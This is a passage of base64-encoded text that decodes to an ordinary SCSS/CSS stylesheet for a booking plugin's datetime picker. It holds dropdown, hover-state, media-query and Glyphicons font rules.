XRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5hY3RpdmUge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDAzMzk5IFxcOTtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGgsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRmb290IHRyOmZpcnN0LWNoaWxkIHRoIHtcblx0Y3Vyc29yOiBwb2ludGVyO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0aGVhZCB0cjpmaXJzdC1jaGlsZCB0aDpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGZvb3QgdHI6Zmlyc3QtY2hpbGQgdGg6aG92ZXIge1xuXHRiYWNrZ3JvdW5kOiAjZWVlZWVlO1xufVxuLmlucHV0LWFwcGVuZC5kYXRlIC5hZGQtb24gaSxcbi5pbnB1dC1wcmVwZW5kLmRhdGUgLmFkZC1vbiBpLFxuLmlucHV0LWdyb3VwLmRhdGUgLmlucHV0LWdyb3VwLWFkZG9uIHNwYW4ge1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdHdpZHRoOiAxNHB4O1xuXHRoZWlnaHQ6IDE0cHg7XG59XG4uY2FyZXQge1xuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdHdpZHRoOiAwO1xuXHRoZWlnaHQ6IDA7XG5cdG1hcmdpbi1sZWZ0OiAycHg7XG5cdHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG5cdGJvcmRlci10b3A6IDRweCBzb2xpZDtcblx0Ym9yZGVyLXJpZ2h0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7XG59XG4uZHJvcGRvd24ge1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG59XG4uZHJvcGRvd24tdG9nZ2xlOmZvY3VzIHtcblx0b3V0bGluZTogMDtcbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIHtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdHotaW5kZXg6IDEwMDA7XG5cdGRpc3BsYXk6IG5vbmU7XG5cdGZsb2F0OiBsZWZ0O1xuXHRtaW4td2lkdGg6IDE2MHB4O1xuXHRwYWRkaW5nOiA1cHggMDtcblx0bWFyZ2luOiAycHggMCAwO1xuXHRsaXN0LXN0eWxlOiBub25lO1xuXHRmb250LXNpemU6IDFlbTtcblx0dGV4dC1hbGlnbjogbGVmdDtcblx0YmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcblx0Ym9yZGVyOiAxcHggc29saWQgI2NjYztcblx0Ym9yZGVyOiAxcHggc29saWQgcmdiYSgwLCAwLCAwLCAwLjE1KTtcblx0Ym9yZGVyLXJhZGl1czogNHB4O1xuXHQtd2Via2l0LWJveC1zaGFkb3c6IDAgNnB4IDEycHggcmdiYSgwLCAwLCAwLCAwLjE3NSk7XG5cdGJveC1zaGFkb3c6IDAgNnB4IDEycHggcmdiYSgwLCAwLCAwLCAwLjE3NSk7XG5cdGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7XG59XG4ucG9zdC10eXBlLXNsbl9ib29raW5nIC5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIHtcblx0Zm9udC1zaXplOiAxLjEyNXJlbTtcblx0PiBkaXYge1xuXHRcdHBhZGRpbmc6IDFyZW0gMS41cmVtO1xuXHRcdCYuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB7XG5cdFx0XHRwYWRkaW5nOiAwLjJyZW07XG5cdFx0fVxuXHR9XG5cdHRkLFxuXHR0aCxcblx0dGFibGUgdHIgdGQgc3BhbiB7XG5cdFx0d2lkdGg6IGZpdC1jb250ZW50O1xuXHRcdGhlaWdodDogZml0LWNvbnRlbnQ7XG5cdFx0cGFkZGluZzogMC43NXJlbTtcblx0XHRib3JkZXItcmFkaXVzOiA1cHg7XG5cdFx0Zm9udC13ZWlnaHQ6IDUwMDtcblx0XHQmOmVtcHR5IHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHR9XG5cdC5kYXRldGltZXBpY2tlci1kYXlzIHtcblx0XHR0ZCxcblx0XHR0aCxcblx0XHR0YWJsZSB0ciB0ZCBzcGFuIHtcblx0XHRcdCY6bm90KC5kb3cpIHtcblx0XHRcdFx0Ym9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KDEpO1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KDEpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB7XG5cdFx0aGVpZ2h0OiAzMHZoO1xuXHRcdHRhYmxlIHRyIHRkIHNwYW4ge1xuXHRcdFx0d2lkdGg6IDE0LjYlO1xuXHRcdFx0Zm9udC1zaXplOiAxLjEyNXJlbTtcblx0XHR9XG5cdFx0c3BhbiB7XG5cdFx0XHRoZWlnaHQ6IGZpdC1jb250ZW50O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDEuNDtcblx0XHR9XG5cdH1cblx0dGFibGUgdHIgdGQuZGF5Om5vdCguZGlzYWJsZWQpLFxuXHR0YWJsZSB0ciB0ZCBzcGFuLmhvdXI6bm90KC5kaXNhYmxlZCk6bm90KC5hY3RpdmUpLFxuXHR0YWJsZSB0ciB0ZCBzcGFuLm1pbnV0ZTpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSkge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tb2stLWJnKDEpO1xuXHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLW9rKDEpO1xuXHRcdGJvcmRlci1yYWRpdXM6IDVweDtcblx0XHRmb250LXdlaWdodDogNTAwO1xuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1vaygxKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0dGFibGUgdHIgdGQgc3Bhbi5ob3VyLnJlZDpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSksXG5cdHRhYmxlIHRyIHRkIHNwYW4ubWludXRlLnJlZDpub3QoLmRpc2FibGVkKTpub3QoLmFjdGl2ZSksXG5cdHRhYmxlIHRyIHRkLmRheS5yZWQ6bm90KC5kaXNhYmxlZCksXG5cdC5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbi5yZWQge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tYmcoMSk7XG5cdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbSgxKSAhaW1wb3J0YW50O1xuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtKFxuXHRcdFx0XHRcdDFcblx0XHRcdFx0KSAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHR0aGVhZCB0cjpmaXJzdC1jaGlsZCB0aCxcblx0dGZvb3QgdHI6Zmlyc3QtY2hpbGQgdGgge1xuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1saWdodGVzdCgxKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0I3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXIgLnNsbl9kYXRlcGlja2VyIC5wcmV2LFxuXHQjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLm5leHQsXG5cdC5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXYsXG5cdC5zbG4tZGF0ZXRpbWVwaWNrZXIgLm5leHQge1xuXHR9XG59XG4uaW5tb2RhbC5wb3N0LXR5cGUtc2xuX2Jvb2tpbmcgLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIge1xuXHQuZGF0ZXRpbWVwaWNrZXItbWludXRlcyB7XG5cdFx0aGVpZ2h0OiA1MHZoO1xuXHR9XG59XG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlci5wdWxsLXJpZ2h0IHtcblx0cmlnaHQ6IDA7XG5cdGxlZnQ6IGF1dG87XG59XG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciAuZGl2aWRlciB7XG5cdGhlaWdodDogMXB4O1xuXHRtYXJnaW46IDlweCAwO1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZTVlNWU1O1xufVxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIgPiBsaSA+IGEge1xuXHRkaXNwbGF5OiBibG9jaztcblx0cGFkZGluZzogM3B4IDIwcHg7XG5cdGNsZWFyOiBib3RoO1xuXHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRsaW5lLWhlaWdodDogMS40Mjg1NzE0Mztcblx0Y29sb3I6ICMzMzMzMzM7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG59XG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IGxpID4gYTpob3Zlcixcbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gbGkgPiBhOmZvY3VzIHtcblx0dGV4dC1kZWNvcmF0aW9uOiBub25lO1xuXHRjb2xvcjogIzI2MjYyNjtcblx0YmFja2dyb3VuZC1jb2xvcjogI2Y1ZjVmNTtcbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmFjdGl2ZSA+IGEsXG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IC5hY3RpdmUgPiBhOmhvdmVyLFxuLmRyb3Bkb3duLW1lbnUuZGF0ZXRpbWVwaWNrZXIgPiAuYWN0aXZlID4gYTpmb2N1cyB7XG5cdGNvbG9yOiAjZmZmO1xuXHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG5cdG91dGxpbmU6IDA7XG5cdGJhY2tncm91bmQtY29sb3I6ICMwNzZiOWQ7XG59XG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IC5kaXNhYmxlZCA+IGEsXG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IC5kaXNhYmxlZCA+IGE6aG92ZXIsXG4uZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciA+IC5kaXNhYmxlZCA+IGE6Zm9jdXMge1xuXHRjb2xvcjogIzc3Nzc3Nztcbn1cbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmRpc2FibGVkID4gYTpob3Zlcixcbi5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyID4gLmRpc2FibGVkID4gYTpmb2N1cyB7XG5cdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcblx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7XG5cdGZpbHRlcjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LmdyYWRpZW50KGVuYWJsZWQgPSBmYWxzZSk7XG5cdGN1cnNvcjogbm90LWFsbG93ZWQ7XG59XG4ub3BlbiA+IC5kcm9wZG93bi1tZW51LmRhdGV0aW1lcGlja2VyIHtcblx0ZGlzcGxheTogYmxvY2s7XG59XG4ub3BlbiA+IGEge1xuXHRvdXRsaW5lOiAwO1xufVxuLmRyb3Bkb3duLW1lbnUtcmlnaHQge1xuXHRsZWZ0OiBhdXRvO1xuXHRyaWdodDogMDtcbn1cbi5kcm9wZG93bi1tZW51LWxlZnQge1xuXHRsZWZ0OiAwO1xuXHRyaWdodDogYXV0bztcbn1cbi5kcm9wZG93bi1oZWFkZXIge1xuXHRkaXNwbGF5OiBibG9jaztcblx0cGFkZGluZzogM3B4IDIwcHg7XG5cdGZvbnQtc2l6ZTogMC44NWVtO1xuXHRsaW5lLWhlaWdodDogMS40Mjg1NzE0Mztcblx0Y29sb3I6ICM3Nzc3Nzc7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG59XG4uZHJvcGRvd24tYmFja2Ryb3Age1xuXHRwb3NpdGlvbjogZml4ZWQ7XG5cdGxlZnQ6IDA7XG5cdHJpZ2h0OiAwO1xuXHRib3R0b206IDA7XG5cdHRvcDogMDtcblx0ei1pbmRleDogOTkwO1xufVxuLnB1bGwtcmlnaHQgPiAuZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciB7XG5cdHJpZ2h0OiAwO1xuXHRsZWZ0OiBhdXRvO1xufVxuLmRyb3B1cCAuY2FyZXQsXG4ubmF2YmFyLWZpeGVkLWJvdHRvbSAuZHJvcGRvd24gLmNhcmV0IHtcblx0Ym9yZGVyLXRvcDogMDtcblx0Ym9yZGVyLWJvdHRvbTogNHB4IHNvbGlkO1xuXHRjb250ZW50OiBcIlwiO1xufVxuLmRyb3B1cCAuZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlcixcbi5uYXZiYXItZml4ZWQtYm90dG9tIC5kcm9wZG93biAuZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciB7XG5cdHRvcDogYXV0bztcblx0Ym90dG9tOiAxMDAlO1xuXHRtYXJnaW4tYm90dG9tOiAxcHg7XG59XG5AbWVkaWEgKG1pbi13aWR0aDogNzY4cHgpIHtcblx0Lm5hdmJhci1yaWdodCAuZHJvcGRvd24tbWVudS5kYXRldGltZXBpY2tlciB7XG5cdFx0bGVmdDogYXV0bztcblx0XHRyaWdodDogMDtcblx0fVxuXHQubmF2YmFyLXJpZ2h0IC5kcm9wZG93bi1tZW51LWxlZnQge1xuXHRcdGxlZnQ6IDA7XG5cdFx0cmlnaHQ6IGF1dG87XG5cdH1cbn1cbiosXG4qOmJlZm9yZSxcbio6YWZ0ZXIge1xuXHQtbW96LWJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdC13ZWJraXQtYm94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcbn1cbio6Zm9jdXMsXG4qOmJlZm9yZTpmb2N1cyxcbio6YWZ0ZXI6Zm9jdXMge1xuXHRvdXRsaW5lOiAwICFpbXBvcnRhbnQ7XG59XG4udmVydGljYWwtY2VudGVyaW5nIHtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDUwJTtcblx0LXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG5cdC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbn1cbi56RGVwdGgtMSB7XG5cdC13ZWJraXQtYm94LXNoYWRvdzogMCAxcHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yNCk7XG5cdC1tb3otYm94LXNoYWRvdzogMCAxcHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yNCk7XG5cdGJveC1zaGFkb3c6IDAgMXB4IDRweCByZ2JhKDAsIDAsIDAsIDAuMjQpO1xufVxuLnpEZXB0aC0yIHtcblx0LXdlYmtpdC1ib3gtc2hhZG93OiAwIDNweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG5cdC1tb3otYm94LXNoYWRvdzogMCAzcHggMTBweCByZ2JhKDAsIDAsIDAsIDAuMjMpO1xuXHRib3gtc2hhZG93OiAwIDNweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG59XG4uekRlcHRoLTMge1xuXHQtd2Via2l0LWJveC1zaGFkb3c6IDAgNnB4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcblx0LW1vei1ib3gtc2hhZG93OiAwIDZweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4yMyk7XG5cdGJveC1zaGFkb3c6IDAgNnB4IDEwcHggcmdiYSgwLCAwLCAwLCAwLjIzKTtcbn1cbkBmb250LWZhY2Uge1xuXHRmb250LWZhbWlseTogXCJHbHlwaGljb25zIEhhbGZsaW5nc1wiO1xuXHRzcmM6IHVybChcIi4uL2ZvbnRzL2dseXBoaWNvbnMtaGFsZmxpbmdzLXJlZ3VsYXIuZW90XCIpO1xuXHRzcmM6XG5cdFx0dXJsKFwiLi4vZm9udHMvZ2x5cGhpY29ucy1oYWxmbGluZ3MtcmVndWxhci5lb3Q\u002FI2llZml4XCIpXG5cdFx0XHRmb3JtYXQoXCJlbWJlZGRlZC1vcGVudHlwZVwiKSxcblx0XHR1cmwoXCIuLi9mb250cy9nbHlwaGljb25zLWhhbGZsaW5ncy1yZWd1bGFyLndvZmZcIikgZm9ybWF0KFwid29mZlwiKSxcblx0XHR1cmwoXCIuLi9mb250cy9nbHlwaGljb25zLWhhbGZsaW5ncy1yZWd1bGFyLnR0ZlwiKSBmb3JtYXQoXCJ0cnVldHlwZVwiKSxcblx0XHR1cmwoXCIuLi9mb250cy9nbHlwaGljb25zLWhhbGZsaW5ncy1yZWd1bGFyLnN2ZyNnbHlwaGljb25zX2hhbGZsaW5nc3JlZ3VsYXJcIilcblx0XHRcdGZvcm1hdChcInN2Z1wiKTtcbn1cbi5nbHlwaGljb24ge1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvcDogMXB4O1xuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtZmFtaWx5OiBcIkdseXBoaWNvbnMgSGFsZmxpbmdzXCI7XG5cdGZvbnQtc3R5bGU6IG5vcm1hbDtcblx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0bGluZS1oZWlnaHQ6IDE7XG5cdC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuXHQtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xufVxuLmdseXBoaWNvbi1wbHVzOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFwyYlwiO1xufVxuLmdseXBoaWNvbi1ldXJvOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFwyMGFjXCI7XG59XG4uZ2x5cGhpY29uLW1pbnVzOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFwyMjEyXCI7XG59XG4uZ2x5cGhpY29uLXRpbWU6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwMjNcIjtcbn1cbi5nbHlwaGljb24tY2FsZW5kYXI6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUxMDlcIjtcbn1cbi5nbHlwaGljb24tY2hldnJvbi1sZWZ0OmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDc5XCI7XG59XG4uZ2x5cGhpY29uLWNoZXZyb24tcmlnaHQ6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwODBcIjtcbn1cbi5nbHlwaGljb24tdXNlcjpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTAwOFwiO1xufVxuLmdseXBoaWNvbi1vay1jaXJjbGU6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwODlcIjtcbn1cbi5nbHlwaGljb24tYXJyb3ctbGVmdDpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTA5MVwiO1xufVxuLmdseXBoaWNvbi1hcnJvdy1yaWdodDpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTA5MlwiO1xufVxuLmdseXBoaWNvbi1hcnJvdy11cDpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTA5M1wiO1xufVxuLmdseXBoaWNvbi1hcnJvdy1kb3duOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDk0XCI7XG59XG4uZ2x5cGhpY29uLWJhbi1jaXJjbGU6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwOTBcIjtcbn1cbi5nbHlwaGljb24tZXhjbGFtYXRpb24tc2lnbjpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTEwMVwiO1xufVxuLmdseXBoaWNvbi1zdGFyOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDA2XCI7XG59XG4uZ2x5cGhpY29uLXN0YXItZW1wdHk6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwMDdcIjtcbn1cbi5nbHlwaGljb24td2FybmluZy1zaWduOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMTA3XCI7XG59XG4uZ2x5cGhpY29uLWZsYWc6YmVmb3JlIHtcblx0Y29udGVudDogXCJcXGUwMzRcIjtcbn1cbi5nbHlwaGljb24tdXBsb2FkOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDI3XCI7XG59XG4uZ2x5cGhpY29uLXJlcGVhdDpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTAzMFwiO1xufVxuLyogYWxnb2xwbHVzIHN0YXJ0ICovXG4uZ2x5cGhpY29uLXRyYXNoOmJlZm9yZSB7XG5cdGNvbnRlbnQ6IFwiXFxlMDIwXCI7XG59XG4uZ2x5cGhpY29uLXRodW1icy11cDpiZWZvcmUge1xuXHRjb250ZW50OiBcIlxcZTEyNVwiO1xufVxuLyogYWxnb2xwbHVzIGVuZCAqL1xuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB7XG5cdGZvbnQtZmFtaWx5OlxuXHRcdEhlbHZldGljYSBOZXVlLFxuXHRcdEFyaWFsLFxuXHRcdEhlbHZldGljYSxcblx0XHRzYW5zLXNlcmlmO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0ZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGgsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4ge1xuXHRib3JkZXItcmFkaXVzOiAwO1xuXHRwYWRkaW5nOiAzcHggNXB4O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB7XG5cdG1heC13aWR0aDogNTkwcHg7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHtcblx0Ym9yZGVyLXRvcDogbm9uZTtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgLnNsbi1kYXRldGltZXBpY2tlci1jbG9zZSB7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHR3aWR0aDogMTAwJTtcblx0aGVpZ2h0OiA0MHB4O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZDUxZTI2O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdGxpbmUtaGVpZ2h0OiA0MHB4O1xuXHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG5cdGNvbG9yOiAjZmZmO1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGZvbnQtc3R5bGU6IG5vcm1hbDtcblx0bWFyZ2luOiAyMHB4IDAgMTBweCAwO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciAuc2xuLWRhdGV0aW1lcGlja2VyLWNsb3NlOmhvdmVyIHtcblx0YmFja2dyb3VuZC1jb2xvcjogI2ZmMDAwYjtcbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB7XG5cdFx0bGVmdDogMCAhaW1wb3J0YW50O1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdFx0bWFyZ2luLXRvcDogMDtcblx0XHQtd2Via2l0LWJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcblx0XHRiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG5cdH1cblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciAuc2xuLWRhdGV0aW1lcGlja2VyLWNsb3NlIHtcblx0XHRoZWlnaHQ6IDYwcHg7XG5cdFx0bGluZS1oZWlnaHQ6IDYwcHg7XG5cdH1cbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiAxMjAwcHgpIHtcblx0LmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlcjpub3QoLm9mZi1zbS1tZC1zdXBwb3J0KSB7XG5cdFx0bGVmdDogMCAhaW1wb3J0YW50O1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdFx0bWluLWhlaWdodDogMjAwcHg7XG5cdH1cbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXksXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5OmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWQ6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIge1xuXHRiYWNrZ3JvdW5kLWltYWdlOiBub25lO1xuXHRib3JkZXI6IG5vbmU7XG5cdHRleHQtc2hhZG93OiBub25lO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3Zlcjpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTphY3R